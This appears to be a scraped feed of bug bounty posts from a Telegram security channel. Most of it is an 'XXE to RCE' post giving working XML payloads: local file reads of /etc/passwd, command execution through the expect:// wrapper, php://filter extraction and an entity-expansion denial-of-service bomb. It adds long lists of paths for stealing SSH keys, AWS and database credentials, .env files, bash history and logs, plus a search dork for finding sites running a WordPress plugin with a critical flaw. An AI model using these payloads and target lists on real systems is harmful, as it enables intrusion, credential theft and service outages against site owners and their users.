Certified Red Team Professional (CRTP) - Notes
📝🔥
🔗https://dev-angelist.gitbook.io/crtp-notes

Hey everyone!
Sorry for not being active lately—been dealing with some health stuff. I’ll be back soon with loads of content.
Till then, @darkshadow2bd will keep posting cool stuff here.

Stay tuned and take care!
— Saumadip | Brut Security

🔥XXE to Remote Code Execution (RCE) – Real-World Attack Chain⚡

Hey Hunters,
DarkShadow here—dropping a quick tip for your next XXE hunt!

Escalate XXE vulnerability 😏

1. Basic XXE Payload (Test Injection)

<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY test SYSTEM "file:///etc/passwd">
]>
<root>&test;</root>

If the response contains /etc/passwd, the app is XXE vulnerable.


2. RCE via expect:// PHP Wrapper (if enabled)

<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "expect://id">
]>
<root>&xxe;</root>


Result: Executes id command and returns output.
Condition: expect must be compiled with PHP (very rare, but deadly).


3. Local File Read using php://filter

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
]>
<foo>&xxe;</foo>

Output: Base64-encoded content of /etc/passwd. Decode it locally. (Effective to bypass WAF filters and got any outputs correct format)


4. XML Bomb (DoS)

<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
]>
<lolz>&lol2;</lolz>

Effect: Crashes or DoS the XML parser due to entity expansion.

5. Read User Private Keys (SSH)

Useful Paths to Check:
/home/*/.ssh/id_rsa
/root/.ssh/id_rsa
/etc/ssh/ssh_config
/var/backups/
/proc/self/environ (for creds or keys in memory)

🛑Pro tip for more recon:

1. Steal AWS / Cloud Credentials via XXE

Also check:
/home/www-data/.aws/credentials
/proc/self/environ (might expose AWS keys, tokens)

2. Dump Configs for DB Creds or Secrets

Also check:
config.php
.env
db.php
settings.php
wp-config.php (WordPress)
phpmyadmin/config.inc.php (phpmyadmin)
administrator/.env (joomla)
config/services.yaml (Symfony Framework)
app/config.js, app/config.json (nodejs)
settings.py, config.py (Python / Django / Flask)
application.properties, application.yml, web.xml (Java / Spring Boot / JSP Apps)
database.yml (Ruby on Rails)

3. Bash History Abuse

Also check:
.bash_history
Sometimes contains:
MySQL login
Admin tools
SSH commands
Clear-text passwords

4. Read Logs for Token Harvesting

Web Server Logs:

/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/httpd/access_log
/var/log/httpd/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/error_log

PHP / App-Specific Logs:

/var/log/php_errors.log
/var/log/php8.1-fpm.log
/var/log/php7.4-fpm.log
/var/log/php5-fpm.log
/var/log/php-fpm/www-error.log

Laravel / Symfony / Framework Logs:

storage/logs/laravel.log
/var/www/html/storage/logs/laravel.log
/var/www/html/app/storage/logs/laravel.log
var/log/dev.log (Symfony)
app/logs/dev.log
Authentication / Session Logs
/var/log/auth.log
/var/log/secure
/var/log/faillog
/var/log/wtmp
/var/log/btmp
/var/log/lastlog

System Logs (May Contain Leaks or Stack Traces):

/var/log/syslog
/var/log/messages
/var/log/dmesg
/var/log/kern.log

Database Logs (If Exposed):

/var/log/mysql/error.log
/var/log/postgresql/postgresql.log
/var/log/mariadb/mariadb.log

5. Custom Internal Recon via /proc Files

Also check:
/proc/self/cmdline
/proc/self/fd/

Sometimes exposes secrets in memory or open database connections.

So guys what about my these methodology? If you guy's are really enjoyed, don't forget to show your love ❤️

Don't forget to follow me 👉🏼 DarkShadow

#bugbountytips #xxe

⚡WaybackLister is a reconnaissance tool that taps into the Wayback Machine to fetch historical URLs for a domain, parses unique paths, and checks if any of those paths currently expose directory listings. It's fast, multithreaded, and built for practical use in security assessments and bug bounty recon.

✅https://github.com/anmolksachan/wayBackLister

✅ Join Telegram For More Content: t.iss.one/brutsecurity
----------------------------------------------------------
🎓 Ready to Skill Up? Enroll Now → wa.link/brutsecurity

#CyberSecurity #BugBounty #EthicalHacking #Infosec #BrutSecurity

CVE-2025-27007: Privilege Escalation in OttoKit WordPress Plugin, 9.8 rating 🔥

Errors in the logic of the plugin's API could potentially lead to an attacker gaining access to the administrator account. According to Patchstack, exploitation of the vulnerability began just an hour after public disclosure!

Search at Netlas.io:
👉 Link: https://nt.ls/y4FXX
👉 Dork: http.body:"plugins/suretriggers"

Read more: https://patchstack.com/database/wordpress/plugin/suretriggers/vulnerability/wordpress-suretriggers-1-0-82-privilege-escalation-vulnerability?_s_id=cve